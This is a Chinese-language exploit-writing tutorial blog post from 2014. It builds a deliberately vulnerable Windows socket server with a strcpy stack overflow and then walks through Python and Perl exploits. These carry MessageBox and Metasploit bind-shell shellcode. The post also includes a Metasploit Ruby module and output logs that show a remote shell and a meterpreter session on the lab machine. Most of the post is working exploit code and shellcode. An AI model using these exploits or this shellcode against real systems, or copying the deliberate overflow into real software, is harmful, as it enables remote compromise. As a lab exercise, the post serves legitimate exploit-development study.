exploit编写笔记3——编写Metasploit exploit
2014-04-08
这是exploit编写笔记第三篇，编写metasploit exploit。 首先，编写一个带有缓冲区溢出漏洞的服务器端程序。
// server.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <iostream.h>
#include <winsock.h>
#include <windows.h>
//load windows socket
#pragma comment(lib, "wsock32.lib")
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
void pr( char *str)
{
char buf[500]="";
strcpy(buf,str);
}
void sError(char *str)
{
MessageBox (NULL, str, "socket Error" ,MB_OK);
WSACleanup();
}
int main(int argc, char **argv)
{
WORD sockVersion;
WSADATA wsaData;
int rVal;
char Message[5000]="";
char buf[2000]="";
u_short LocalPort;
LocalPort = 200;
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
//Pass the data received to the function pr
pr(Message);
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
WSACleanup();
return SS_OK;
}
向该服务程序发送超过500字节的数据时，会造成其崩溃。下面的python脚本会出发崩溃：
import socket
data = 'A' * 1000
s= socket.socket()
s.connect(('localhost',200))
s.send(data)
s.close()
使用mona pattern确定其eip偏移在504。
查找一个push esp ;ret 序列，我们找的是71a22b53，用这个值覆盖eip。shellcode我们随便使用一个Messagebox。
得到一个如下的python脚本：
import socket
data = "A" * 504
#71a22b53
data += "\x53\x2b\xa2\x71"
shellcode = ("\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"
"\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"
"\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"
"\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"
"\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B"
"\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
"\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24"
"\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"
"\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"
"\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F"
"\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24"
"\x40\xFF\x54\x24\x40\x57\xFF\xD0")
data+=shellcode
s= socket.socket()
s.connect(('localhost',200))
s.send(data)
s.close()
运行成功：
我们再使用一个绑定端口的的payload，下面的payload将shell绑定到tcp 5555端口：
#
print " --------------------------------------\n";
print " Writing Buffer Overflows\n";
print " Peter Van Eeckhoutte\n";
print " http://www.corelan.be:8800\n";
print " --------------------------------------\n";
print " Exploit for vulnserver.c\n";
print " --------------------------------------\n";
use strict;
use Socket;
my $junk = "\x90" x 504;
#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71a22b53);
#add some NOP's
my $shellcode="\x90" x 50;
# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
$shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";
# initialize host and port
my $host = shift || '192.168.10.130';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$shellcode."\n";
print "[+] Payload sent\n";
print "[+] Attempting to telnet to $host on port 5555...\n";
system("telnet $host 5555");
close SOCKET or die "close: $!";
下面是输出：
root@kali:~# perl sploit.pl 192.168.10.130 200
--------------------------------------
Writing Buffer Overflows
Peter Van Eeckhoutte
http://www.corelan.be:8800
--------------------------------------
Exploit for vulnserver.c
--------------------------------------
[+] Setting up socket
[+] Connecting to 192.168.10.130 on port 200
[+] Sending payload
[+] Payload sent
[+] Attempting to telnet to 192.168.10.130 on port 5555...
Trying 192.168.10.130...
Connected to 192.168.10.130.
Escape character is '^]'.
Microsoft Windows XP [�汾 5.1.2600]
(C) ��Ȩ���� 1985-2001 Microsoft Corp.
D:\Program Files\Microsoft Visual Studio\MyProjects\server\Debug>dir
dir
������ D �еľ�û�б�ǩ��
��������� 0EAA-0461
D:\Program Files\Microsoft Visual Studio\MyProjects\server\Debug ��Ŀ¼
2014-04-07 17:22 <DIR> .
2014-04-07 17:22 <DIR> ..
2014-04-07 16:56 172,124 server.exe
2014-04-07 16:56 185,136 server.ilk
2014-04-07 16:56 25,594 server.obj
2014-04-07 17:22 43,520 server.opt
2014-04-07 16:56 203,728 server.pch
2014-04-07 16:56 353,280 server.pdb
2014-04-07 16:56 2,203 StdAfx.obj
2014-04-07 17:23 91,136 vc60.idb
2014-04-07 16:56 135,168 vc60.pdb
9 ���ļ� 1,211,889 �ֽ
2 ��Ŀ¼ 16,896,925,696 �����ֽ
成功得到了存在漏洞服务器的shell。
将exploit转换成metasploit，现在先贴代码，以后有时间仔细研究这个的写法。
#
#
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
#
#
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom vulnerable server stack overflow',
'Description' => %q{
This module exploits a stack overflow in a
custom vulnerable server.
},
'Author' => [ 'Terenceli ' ],
'Version' => '$Revision: 9999 $',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00\xff",
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 CHS',
{ 'Ret' => 0x71a22b53, 'Offset' => 504 } ],
['Windows 2003 Server R2 SP2',
{ 'Ret' => 0x71c02b67, 'Offset' => 504 } ],
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RPORT(200)
], self.class)
end
def exploit
connect
junk = make_nops(target['Offset'])
sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
sock.put(sploit)
handler
disconnect
end
end
在xpsp3上的测试：
msf exploit(server) > set RHOST 192.168.10.130
RHOST => 192.168.10.130
msf exploit(server) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(server) > exploit
[*] Started bind handler
[*] Sending stage (769024 bytes) to 192.168.10.130
[*] Meterpreter session 2 opened (192.168.10.129:50459 -> 192.168.10.130:4444) at 2014-04-07 20:46:05 +0800
meterpreter > sysinfo
Computer : CHINA-CE09C2DA6
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : zh_CN
Meterpreter : x86/win32
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